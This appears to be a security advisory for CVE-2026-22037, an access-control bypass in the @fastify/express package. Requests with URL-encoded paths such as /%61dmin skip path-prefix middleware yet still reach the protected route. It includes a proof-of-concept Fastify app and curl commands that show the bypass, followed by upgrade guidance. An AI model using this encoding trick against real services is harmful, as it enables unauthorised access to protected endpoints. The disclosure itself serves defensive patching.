CVE-2026-22037
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Description
### Summary A security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths. ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; }); // Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` **Step 2:** Execute the attack. ``` ➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html> (fastify express) ➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"} ``` It differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.
How to fix CVE-2026-22037
To remediate CVE-2026-22037, upgrade the affected package to a fixed version below.
- —upgrade to 4.0.3 or later
Is CVE-2026-22037 being exploited?
Low — EPSS is 0.0%, meaning exploitation activity has not been observed at scale.